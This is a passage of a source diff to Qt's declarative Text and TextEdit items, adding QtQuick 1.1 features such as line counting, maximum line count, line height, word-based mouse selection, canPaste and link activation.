     Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY fontChanged)
@@ -71,10 +72,16 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeItem
     Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged)
     Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged)
     Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged)
+    Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1)
+    Q_PROPERTY(bool truncated READ truncated NOTIFY truncatedChanged REVISION 1)
+    Q_PROPERTY(int maximumLineCount READ maximumLineCount WRITE setMaximumLineCount NOTIFY maximumLineCountChanged RESET resetMaximumLineCount REVISION 1)
+
     Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged)
     Q_PROPERTY(TextElideMode elide READ elideMode WRITE setElideMode NOTIFY elideModeChanged) //### elideMode?
     Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged)
     Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged)
+    Q_PROPERTY(qreal lineHeight READ lineHeight WRITE setLineHeight NOTIFY lineHeightChanged REVISION 1)
+    Q_PROPERTY(LineHeightMode lineHeightMode READ lineHeightMode WRITE setLineHeightMode NOTIFY lineHeightModeChanged REVISION 1)
 
 public:
     QDeclarativeText(QDeclarativeItem *parent=0);
@@ -82,7 +89,8 @@ public:
 
     enum HAlignment { AlignLeft = Qt::AlignLeft,
                        AlignRight = Qt::AlignRight,
-                       AlignHCenter = Qt::AlignHCenter };
+                       AlignHCenter = Qt::AlignHCenter,
+                       AlignJustify = Qt::AlignJustify }; // ### VERSIONING: Only in QtQuick 1.1
     enum VAlignment { AlignTop = Qt::AlignTop,
                        AlignBottom = Qt::AlignBottom,
                        AlignVCenter = Qt::AlignVCenter };
@@ -106,6 +114,8 @@ public:
                     Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere
                   };
 
+    enum LineHeightMode { ProportionalHeight, FixedHeight };
+
     QString text() const;
     void setText(const QString &);
 
@@ -130,12 +140,25 @@ public:
     WrapMode wrapMode() const;
     void setWrapMode(WrapMode w);
 
+    int lineCount() const;
+    bool truncated() const;
+
+    int maximumLineCount() const;
+    void setMaximumLineCount(int lines);
+    void resetMaximumLineCount();
+
     TextFormat textFormat() const;
     void setTextFormat(TextFormat format);
 
     TextElideMode elideMode() const;
     void setElideMode(TextElideMode);
 
+    qreal lineHeight() const;
+    void setLineHeight(qreal lineHeight);
+
+    LineHeightMode lineHeightMode() const;
+    void setLineHeightMode(LineHeightMode);
+
     void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
 
     virtual void componentComplete();
@@ -157,9 +180,14 @@ Q_SIGNALS:
     void horizontalAlignmentChanged(HAlignment alignment);
     void verticalAlignmentChanged(VAlignment alignment);
     void wrapModeChanged();
+    Q_REVISION(1) void lineCountChanged();
+    Q_REVISION(1) void truncatedChanged();
+    Q_REVISION(1) void maximumLineCountChanged();
     void textFormatChanged(TextFormat textFormat);
     void elideModeChanged(TextElideMode mode);
     void paintedSizeChanged();
+    Q_REVISION(1) void lineHeightChanged(qreal lineHeight);
+    Q_REVISION(1) void lineHeightModeChanged(LineHeightMode mode);
 
 protected:
     void mousePressEvent(QGraphicsSceneMouseEvent *event);
diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
index e749bc9..36ae123 100644
--- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
@@ -54,7 +54,7 @@
 //
 
 #include "qdeclarativeitem.h"
-#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
 #include "private/qdeclarativetextlayout_p.h"
 
 #include <qdeclarative.h>
@@ -66,7 +66,7 @@ QT_BEGIN_NAMESPACE
 class QTextLayout;
 class QTextDocumentWithImageResources;
 
-class QDeclarativeTextPrivate : public QDeclarativeItemPrivate
+class Q_AUTOTEST_EXPORT QDeclarativeTextPrivate : public QDeclarativeImplicitSizeItemPrivate
 {
     Q_DECLARE_PUBLIC(QDeclarativeText)
 public:
@@ -89,6 +89,15 @@ public:
     QDeclarativeText::TextElideMode elideMode;
     QDeclarativeText::TextFormat format;
     QDeclarativeText::WrapMode wrapMode;
+    qreal lineHeight;
+    QDeclarativeText::LineHeightMode lineHeightMode;
+    int lineCount;
+    bool truncated;
+    int maximumLineCount;
+    int maximumLineCountValid;
+    QPointF elidePos;
+
+    static QString elideChar;
 
     void invalidateImageCache();
     void checkImageCache();
@@ -100,9 +109,12 @@ public:
     bool singleline:1;
     bool cacheAllTextAsImage:1;
     bool internalWidthUpdate:1;
+    bool requireImplicitWidth:1;
 
     QSize layedOutTextSize;
-    
+    QSize paintedSize;
+    qreal naturalWidth;
+    virtual qreal implicitWidth() const;
     void ensureDoc();
     QPixmap textDocumentImage(bool drawStyle);
     QTextDocumentWithImageResources *doc;
diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
index cb62a2c..7f383a6 100644
--- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp
+++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
@@ -51,6 +51,7 @@
 #include <QTextLayout>
 #include <QTextLine>
 #include <QTextDocument>
+#include <QTextObject>
 #include <QGraphicsSceneMouseEvent>
 #include <QDebug>
 #include <QPainter>
@@ -103,8 +104,16 @@ TextEdit {
     \sa Text, TextInput, {declarative/text/textselection}{Text Selection example}
 */
 
+/*!
+    \qmlsignal TextEdit::onLinkActivated(string link)
+    \since Quick 1.1
+
+    This handler is called when the user clicks on a link embedded in the text.
+    The link must be in rich text or HTML format and the
+    \a link string provides access to the particular link.
+*/
 QDeclarativeTextEdit::QDeclarativeTextEdit(QDeclarativeItem *parent)
-: QDeclarativePaintedItem(*(new QDeclarativeTextEditPrivate), parent)
+: QDeclarativeImplicitSizePaintedItem(*(new QDeclarativeTextEditPrivate), parent)
 {
     Q_D(QDeclarativeTextEdit);
     d->init();
@@ -363,11 +372,13 @@ void QDeclarativeTextEdit::setFont(const QFont &font)
     The text color.
 
     \qml
-// green text using hexadecimal notation
-TextEdit { color: "#00FF00"; ...  }
+    // green text using hexadecimal notation
+    TextEdit { color: "#00FF00" }
+    \endqml
 
-// steelblue text using SVG color name
-TextEdit { color: "steelblue"; ...  }
+    \qml
+    // steelblue text using SVG color name
+    TextEdit { color: "steelblue" }
     \endqml
 */
 QColor QDeclarativeTextEdit::color() const
@@ -455,6 +466,7 @@ void QDeclarativeTextEdit::setSelectedTextColor(const QColor &color)
     \o TextEdit.AlignLeft (default)
     \o TextEdit.AlignRight 
     \o TextEdit.AlignHCenter
+    \o TextEdit.AlignJustify
     \endlist
     
     Valid values for \c verticalAlignment are:
@@ -531,6 +543,17 @@ void QDeclarativeTextEdit::setWrapMode(WrapMode mode)
 }
 
 /*!
+    \qmlproperty int TextEdit::lineCount
+
+    Returns the total number of lines in the textEdit item.
+*/
+int QDeclarativeTextEdit::lineCount() const
+{
+    Q_D(const QDeclarativeTextEdit);
+    return d->lineCount;
+}
+
+/*!
     \qmlproperty real TextEdit::paintedWidth
 
     Returns the width of the text, including the width past the width
@@ -538,7 +561,8 @@ void QDeclarativeTextEdit::setWrapMode(WrapMode mode)
 */
 qreal QDeclarativeTextEdit::paintedWidth() const
 {
-    return implicitWidth();
+    Q_D(const QDeclarativeTextEdit);
+    return d->paintedSize.width();
 }
 
 /*!
@@ -549,7 +573,8 @@ qreal QDeclarativeTextEdit::paintedWidth() const
 */
 qreal QDeclarativeTextEdit::paintedHeight() const
 {
-    return implicitHeight();
+    Q_D(const QDeclarativeTextEdit);
+    return d->paintedSize.height();
 }
 
 /*!
@@ -583,37 +608,101 @@ int QDeclarativeTextEdit::positionAt(int x, int y) const
     return r;
 }
 
+void QDeclarativeTextEdit::moveCursorSelection(int pos)
+{
+    //Note that this is the same as setCursorPosition but with the KeepAnchor flag set
+    Q_D(QDeclarativeTextEdit);
+    QTextCursor cursor = d->control->textCursor();
+    if (cursor.position() == pos)
+        return;
+    cursor.setPosition(pos, QTextCursor::KeepAnchor);
+    d->control->setTextCursor(cursor);
+}
+
 /*!
-    \qmlmethod int TextEdit::moveCursorSelection(int pos)
+    \qmlmethod void TextEdit::moveCursorSelection(int position, SelectionMode mode = TextEdit.SelectCharacters)
+    \since Quick 1.1
 
-    Moves the cursor to \a position and updates the selection accordingly.
-    (To only move the cursor, set the \l cursorPosition property.)
+    Moves the cursor to \a position and updates the selection according to the optional \a mode
+    parameter. (To only move the cursor, set the \l cursorPosition property.)
 
     When this method is called it additionally sets either the
     selectionStart or the selectionEnd (whichever was at the previous cursor position)
     to the specified position. This allows you to easily extend and contract the selected
     text range.
 
+    The selection mode specifies whether the selection is updated on a per character or a per word
+    basis.  If not specified the selection mode will default to TextEdit.SelectCharacters.
+
+    \list
+    \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at
+    the previous cursor position) to the specified position.
+    \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all
+    words between the specified postion and the previous cursor position.  Words partially in the
+    range are included.
+    \endlist
+
     For example, take this sequence of calls:
 
     \code
         cursorPosition = 5
-        moveCursorSelection(9)
-        moveCursorSelection(7)
+        moveCursorSelection(9, TextEdit.SelectCharacters)
+        moveCursorSelection(7, TextEdit.SelectCharacters)
     \endcode
 
     This moves the cursor to position 5, extend the selection end from 5 to 9
     and then retract the selection end from 9 to 7, leaving the text from position 5 to 7
     selected (the 6th and 7th characters).
+
+    The same sequence with TextEdit.SelectWords will extend the selection start to a word boundary
+    before or on position 5 and extend the selection end to a word boundary on or past position 9.
 */
-void QDeclarativeTextEdit::moveCursorSelection(int pos)
+void QDeclarativeTextEdit::moveCursorSelection(int pos, SelectionMode mode)
 {
-    //Note that this is the same as setCursorPosition but with the KeepAnchor flag set
     Q_D(QDeclarativeTextEdit);
     QTextCursor cursor = d->control->textCursor();
     if (cursor.position() == pos)
         return;
-    cursor.setPosition(pos, QTextCursor::KeepAnchor);
+    if (mode == SelectCharacters) {
+        cursor.setPosition(pos, QTextCursor::KeepAnchor);
+    } else if (cursor.anchor() < pos || (cursor.anchor() == pos && cursor.position() < pos)) {
+        if (cursor.anchor() > cursor.position()) {
+            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+            cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
+            if (cursor.position() == cursor.anchor())
+                cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::MoveAnchor);
+            else
+                cursor.setPosition(cursor.position(), QTextCursor::MoveAnchor);
+        } else {
+            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+            cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::MoveAnchor);
+        }
+
+        cursor.setPosition(pos, QTextCursor::KeepAnchor);
+        cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
+        if (cursor.position() != pos)
+            cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
+    } else if (cursor.anchor() > pos || (cursor.anchor() == pos && cursor.position() > pos)) {
+        if (cursor.anchor() < cursor.position()) {
+            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+            cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
+        } else {
+            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+            cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor);
+            cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
+            if (cursor.position() != cursor.anchor()) {
+                cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+                cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
+            }
+        }
+
+        cursor.setPosition(pos, QTextCursor::KeepAnchor);
+        cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
+        if (cursor.position() != pos) {
+            cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor);
+            cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
+        }
+    }
     d->control->setTextCursor(cursor);
 }
 
@@ -659,7 +748,7 @@ void QDeclarativeTextEdit::setCursorPosition(int pos)
     if (pos < 0 || pos > d->text.length())
         return;
     QTextCursor cursor = d->control->textCursor();
-    if (cursor.position() == pos)
+    if (cursor.position() == pos && cursor.anchor() == pos)
         return;
     cursor.setPosition(pos);
     d->control->setTextCursor(cursor);
@@ -887,11 +976,45 @@ void QDeclarativeTextEdit::setSelectByMouse(bool on)
     Q_D(QDeclarativeTextEdit);
     if (d->selectByMouse != on) {
         d->selectByMouse = on;
+        setKeepMouseGrab(on);
+        if (on)
+            setTextInteractionFlags(d->control->textInteractionFlags() | Qt::TextSelectableByMouse);
+        else
+            setTextInteractionFlags(d->control->textInteractionFlags() & ~Qt::TextSelectableByMouse);
         emit selectByMouseChanged(on);
     }
 }
 
 
+/*!
+    \qmlproperty enum TextEdit::mouseSelectionMode
+    \since Quick 1.1
+
+    Specifies how text should be selected using a mouse.
+
+    \list
+    \o TextEdit.SelectCharacters - The selection is updated with individual characters. (Default)
+    \o TextEdit.SelectWords - The selection is updated with whole words.
+    \endlist
+
+    This property only applies when \l selectByMouse is true.
+*/
+
+QDeclarativeTextEdit::SelectionMode QDeclarativeTextEdit::mouseSelectionMode() const
+{
+    Q_D(const QDeclarativeTextEdit);
+    return d->mouseSelectionMode;
+}
+
+void QDeclarativeTextEdit::setMouseSelectionMode(SelectionMode mode)
+{
+    Q_D(QDeclarativeTextEdit);
+    if (d->mouseSelectionMode != mode) {
+        d->mouseSelectionMode = mode;
+        d->control->setWordSelectionEnabled(mode == SelectWords);
+        emit mouseSelectionModeChanged(mode);
+    }
+}
 
 /*!
     \qmlproperty bool TextEdit::readOnly
@@ -907,13 +1030,13 @@ void QDeclarativeTextEdit::setReadOnly(bool r)
     if (r == isReadOnly())
         return;
 
+    setFlag(QGraphicsItem::ItemAcceptsInputMethod, !r);
 
-    Qt::TextInteractionFlags flags = Qt::NoTextInteraction;
-    if (r) {
-        flags = Qt::TextSelectableByMouse;
-    } else {
-        flags = Qt::TextEditorInteraction;
-    }
+    Qt::TextInteractionFlags flags = Qt::LinksAccessibleByMouse;
+    if (d->selectByMouse)
+        flags = flags | Qt::TextSelectableByMouse;
+    if (!r)
+        flags = flags | Qt::TextSelectableByKeyboard | Qt::TextEditable;
     d->control->setTextInteractionFlags(flags);
     if (!r)
         d->control->moveCursor(QTextCursor::End);
@@ -1005,11 +1128,24 @@ void QDeclarativeTextEdit::keyReleaseEvent(QKeyEvent *event)
 void QDeclarativeTextEditPrivate::focusChanged(bool hasFocus)
 {
     Q_Q(QDeclarativeTextEdit);
-    q->setCursorVisible(hasFocus);
+    q->setCursorVisible(hasFocus && scene && scene->hasFocus());
     QDeclarativeItemPrivate::focusChanged(hasFocus);
 }
 
 /*!
+    \qmlmethod void TextEdit::deselect()
+
+    Removes active text selection.
+*/
+void QDeclarativeTextEdit::deselect()
+{
+    Q_D(QDeclarativeTextEdit);
+    QTextCursor c = d->control->textCursor();
+    c.clearSelection();
+    d->control->setTextCursor(c);
+}
+
+/*!
     \qmlmethod void TextEdit::selectAll()
 
     Causes all text to be selected.
@@ -1118,8 +1254,8 @@ void QDeclarativeTextEdit::mousePressEvent(QGraphicsSceneMouseEvent *event)
             }
         }
     }
-    if (event->type() != QEvent::GraphicsSceneMouseDoubleClick || d->selectByMouse)
-        d->control->processEvent(event, QPointF(0, -d->yoff));
+
+    d->control->processEvent(event, QPointF(0, -d->yoff));
     if (!event->isAccepted())
         QDeclarativePaintedItem::mousePressEvent(event);
 }
@@ -1154,13 +1290,11 @@ Handles the given mouse \a event.
 void QDeclarativeTextEdit::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event)
 {
     Q_D(QDeclarativeTextEdit);
-    if (d->selectByMouse) {
-        d->control->processEvent(event, QPointF(0, -d->yoff));
-        if (!event->isAccepted())
-            QDeclarativePaintedItem::mouseDoubleClickEvent(event);
-    } else {
+
+    d->control->processEvent(event, QPointF(0, -d->yoff));
+    if (!event->isAccepted())
         QDeclarativePaintedItem::mouseDoubleClickEvent(event);
-    }
+
 }
 
 /*!
@@ -1170,14 +1304,9 @@ Handles the given mouse \a event.
 void QDeclarativeTextEdit::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
 {
     Q_D(QDeclarativeTextEdit);
-    if (d->selectByMouse) {
-        d->control->processEvent(event, QPointF(0, -d->yoff));
-        if (!event->isAccepted())
-            QDeclarativePaintedItem::mouseMoveEvent(event);
-        event->setAccepted(true);
-    } else {
+    d->control->processEvent(event, QPointF(0, -d->yoff));
+    if (!event->isAccepted())
         QDeclarativePaintedItem::mouseMoveEvent(event);
-    }
 }
 
 /*!
@@ -1250,6 +1379,21 @@ void QDeclarativeTextEdit::updateImgCache(const QRectF &rf)
     filtering at the beginning of the animation and reenable it at the conclusion.
 */
 
+/*!
+    \qmlproperty bool TextEdit::canPaste
+
+    Returns true if the TextEdit is writable and the content of the clipboard is
+    suitable for pasting into the TextEdit.
+
+    \since QtQuick 1.1
+*/
+
+bool QDeclarativeTextEdit::canPaste() const
+{
+    Q_D(const QDeclarativeTextEdit);
+    return d->canPaste;
+}
+
 void QDeclarativeTextEditPrivate::init()
 {
     Q_Q(QDeclarativeTextEdit);
@@ -1261,6 +1405,8 @@ void QDeclarativeTextEditPrivate::init()
 
     control = new QTextControl(q);
     control->setIgnoreUnusedNavigationEvents(true);
+    control->setTextInteractionFlags(Qt::LinksAccessibleByMouse | Qt::TextSelectableByKeyboard | Qt::TextEditable);
+    control->setDragEnabled(false);
 
     // QTextControl follows the default text color
     // defined by the platform, declarative text
@@ -1279,6 +1425,11 @@ void QDeclarativeTextEditPrivate::init()
     QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SLOT(updateSelectionMarkers()));
     QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorPositionChanged()));
     QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorRectangleChanged()));
+    QObject::connect(control, SIGNAL(linkActivated(QString)), q, SIGNAL(linkActivated(QString)));
+#ifndef QT_NO_CLIPBOARD
+    QObject::connect(q, SIGNAL(readOnlyChanged(bool)), q, SLOT(q_canPasteChanged()));
+    QObject::connect(QApplication::clipboard(), SIGNAL(dataChanged()), q, SLOT(q_canPasteChanged()));
+#endif
 
     document = control->document();
     document->setDefaultFont(font);
@@ -1293,6 +1444,7 @@ void QDeclarativeTextEdit::q_textChanged()
     Q_D(QDeclarativeTextEdit);
     d->text = text();
     updateSize();
+    updateTotalLines();
     updateMicroFocus();
     emit textChanged(d->text);
 }
@@ -1354,6 +1506,17 @@ QRectF QDeclarativeTextEdit::boundingRect() const
     return r.translated(0,d->yoff);
 }
 
+qreal QDeclarativeTextEditPrivate::implicitWidth() const
+{
+    Q_Q(const QDeclarativeTextEdit);
+    if (!requireImplicitWidth) {
+        // We don't calculate implicitWidth unless it is required.
+        // We need to force a size update now to ensure implicitWidth is calculated
+        const_cast<QDeclarativeTextEditPrivate*>(this)->requireImplicitWidth = true;
+        const_cast<QDeclarativeTextEdit*>(q)->updateSize();
+    }
+    return mImplicitWidth;
+}
 
 //### we should perhaps be a bit smarter here -- depending on what has changed, we shouldn't
 //    need to do all the calculations each time
@@ -1361,16 +1524,27 @@ void QDeclarativeTextEdit::updateSize()
 {
     Q_D(QDeclarativeTextEdit);
     if (isComponentComplete()) {
-        QFontMetrics fm = QFontMetrics(d->font);
-        int dy = height();
+        qreal naturalWidth = d->mImplicitWidth;
         // ### assumes that if the width is set, the text will fill to edges
         // ### (unless wrap is false, then clipping will occur)
         if (widthValid()) {
+            if (!d->requireImplicitWidth) {
+                emit implicitWidthChanged();
+                // if the implicitWidth is used, then updateSize() has already been called (recursively)
+                if (d->requireImplicitWidth)
+                    return;
+            }
+            if (d->requireImplicitWidth) {
+                d->document->setTextWidth(-1);
+                naturalWidth = d->document->idealWidth();
+            }
             if (d->document->textWidth() != width())
                 d->document->setTextWidth(width());
         } else {
             d->document->setTextWidth(-1);
         }
+        QFontMetrics fm = QFontMetrics(d->font);
+        int dy = height();
         dy -= (int)d->document->size().height();
 
         int nyoff;
@@ -1395,12 +1569,15 @@ void QDeclarativeTextEdit::updateSize()
         if (!widthValid() && d->document->textWidth() != newWidth)
             d->document->setTextWidth(newWidth); // ### Text does not align if width is not set (QTextDoc bug)
         // ### Setting the implicitWidth triggers another updateSize(), and unless there are bindings nothing has changed.
-        setImplicitWidth(newWidth);
+        if (!widthValid())
+            setImplicitWidth(newWidth);
+        else if (d->requireImplicitWidth)
+            setImplicitWidth(naturalWidth);
         qreal newHeight = d->document->isEmpty() ? fm.height() : (int)d->document->size().height();
         setImplicitHeight(newHeight);
 
-        setContentsSize(QSize(newWidth, newHeight));
-
+        d->paintedSize = QSize(newWidth, newHeight);
+        setContentsSize(d->paintedSize);
         emit paintedSizeChanged();
     } else {
         d->dirty = true;
@@ -1408,6 +1585,26 @@ void QDeclarativeTextEdit::updateSize()
     emit update();
 }
 
+void QDeclarativeTextEdit::updateTotalLines()
+{
+    Q_D(QDeclarativeTextEdit);
+
+    int subLines = 0;
+
+    for (QTextBlock it = d->document->begin(); it != d->document->end(); it = it.next()) {
+        QTextLayout *layout = it.layout();
+        if (!layout)
+            continue;
+        subLines += layout->lineCount()-1;
+    }
+
+    int newTotalLines = d->document->lineCount() + subLines;
+    if (d->lineCount != newTotalLines) {
+        d->lineCount = newTotalLines;
+        emit lineCountChanged();
+    }
+}
+
 void QDeclarativeTextEditPrivate::updateDefaultTextOption()
 {
     QTextOption opt = document->defaultTextOption();
@@ -1536,4 +1733,13 @@ void QDeclarativeTextEdit::focusInEvent(QFocusEvent *event)
     QDeclarativePaintedItem::focusInEvent(event);
 }
 
+void QDeclarativeTextEdit::q_canPasteChanged()
+{
+    Q_D(QDeclarativeTextEdit);
+    bool old = d->canPaste;
+    d->canPaste = d->control->canPaste();
+    if(old!=d->canPaste)
+        emit canPasteChanged();
+}
+
 QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
index cff55f0..7785a7a 100644
--- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
@@ -43,7 +43,7 @@
 #define QDECLARATIVETEXTEDIT_H
 
 #include "private/qdeclarativetext_p.h"
-#include "private/qdeclarativepainteditem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p.h"
 
 #include <QtGui/qtextdocument.h>
 #include <QtGui/qtextoption.h>
@@ -58,13 +58,14 @@ QT_MODULE(Declarative)
 
 
 class QDeclarativeTextEditPrivate;
-class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem
+class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativeImplicitSizePaintedItem
 {
     Q_OBJECT
     Q_ENUMS(VAlignment)
     Q_ENUMS(HAlignment)
     Q_ENUMS(TextFormat)
     Q_ENUMS(WrapMode)
+    Q_ENUMS(SelectionMode)
 
     Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
     Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged)
@@ -74,6 +75,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem
     Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged)
     Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged)
     Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged)
+    Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1)
     Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged)
     Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged)
     Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged)
@@ -90,6 +92,8 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem
     Q_PROPERTY(qreal textMargin READ textMargin WRITE setTextMargin NOTIFY textMarginChanged)
     Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ inputMethodHints WRITE setInputMethodHints)
     Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged)
+    Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1)
+    Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1)
 
 public:
     QDeclarativeTextEdit(QDeclarativeItem *parent=0);
@@ -97,7 +101,8 @@ public:
     enum HAlignment {
         AlignLeft = Qt::AlignLeft,
         AlignRight = Qt::AlignRight,
-        AlignHCenter = Qt::AlignHCenter
+        AlignHCenter = Qt::AlignHCenter,
+        AlignJustify = Qt::AlignJustify // ### VERSIONING: Only in QtQuick 1.1
     };
 
     enum VAlignment {
@@ -119,6 +124,11 @@ public:
                     Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere
                   };
 
+    enum SelectionMode {
+        SelectCharacters,
+        SelectWords
+    };
+
     Q_INVOKABLE void openSoftwareInputPanel();
     Q_INVOKABLE void closeSoftwareInputPanel();
 
@@ -149,6 +159,8 @@ public:
     WrapMode wrapMode() const;
     void setWrapMode(WrapMode w);
 
+    int lineCount() const;
+
     bool isCursorVisible() const;
     void setCursorVisible(bool on);
 
@@ -175,6 +187,11 @@ public:
     bool selectByMouse() const;
     void setSelectByMouse(bool);
 
+    SelectionMode mouseSelectionMode() const;
+    void setMouseSelectionMode(SelectionMode mode);
+
+    bool canPaste() const;
+
     virtual void componentComplete();
 
     /* FROM EDIT */
@@ -194,6 +211,7 @@ public:
     Q_INVOKABLE QRectF positionToRectangle(int) const;
     Q_INVOKABLE int positionAt(int x, int y) const;
     Q_INVOKABLE void moveCursorSelection(int pos);
+    Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode);
 
     QRectF boundingRect() const;
 
@@ -212,6 +230,7 @@ Q_SIGNALS:
     void horizontalAlignmentChanged(HAlignment alignment);
     void verticalAlignmentChanged(VAlignment alignment);
     void wrapModeChanged();
+    void lineCountChanged();
     void textFormatChanged(TextFormat textFormat);
     void readOnlyChanged(bool isReadOnly);
     void cursorVisibleChanged(bool isCursorVisible);
@@ -220,11 +239,15 @@ Q_SIGNALS:
     void persistentSelectionChanged(bool isPersistentSelection);
     void textMarginChanged(qreal textMargin);
     void selectByMouseChanged(bool selectByMouse);
+    Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode);
+    Q_REVISION(1) void linkActivated(const QString &link);
+    Q_REVISION(1) void canPasteChanged();
 
 public Q_SLOTS:
     void selectAll();
     void selectWord();
     void select(int start, int end);
+    Q_REVISION(1) void deselect();
 #ifndef QT_NO_CLIPBOARD
     void cut();
     void copy();
@@ -237,9 +260,11 @@ private Q_SLOTS:
     void updateSelectionMarkers();
     void moveCursorDelegate();
     void loadCursorDelegate();
+    void q_canPasteChanged();
 
 private:
     void updateSize();
+    void updateTotalLines();
 
 protected:
     virtual void geometryChanged(const QRectF &newGeometry, 
diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
index 3a45541..111cc02 100644
--- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
@@ -54,7 +54,7 @@
 //
 
 #include "qdeclarativeitem.h"
-#include "private/qdeclarativepainteditem_p_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
 
 #include <qdeclarative.h>
 
@@ -62,7 +62,7 @@ QT_BEGIN_NAMESPACE
 class QTextLayout;
 class QTextDocument;
 class QTextControl;
-class QDeclarativeTextEditPrivate : public QDeclarativePaintedItemPrivate
+class QDeclarativeTextEditPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
 {
     Q_DECLARE_PUBLIC(QDeclarativeTextEdit)
 
@@ -70,10 +70,10 @@ public:
     QDeclarativeTextEditPrivate()
       : color("black"), hAlign(QDeclarativeTextEdit::AlignLeft), vAlign(QDeclarativeTextEdit::AlignTop),
       imgDirty(true), dirty(false), richText(false), cursorVisible(false), focusOnPress(true),
-      showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), textMargin(0.0),
-      lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0),
+      showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), requireImplicitWidth(false),
+      textMargin(0.0), lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0),
       format(QDeclarativeTextEdit::AutoText), document(0), wrapMode(QDeclarativeTextEdit::NoWrap),
-      selectByMouse(false),
+      mouseSelectionMode(QDeclarativeTextEdit::SelectCharacters), selectByMouse(false), canPaste(false),
       yoff(0)
     {
 #ifdef Q_OS_SYMBIAN
@@ -88,6 +88,7 @@ public:
     void updateDefaultTextOption();
     void relayoutDocument();
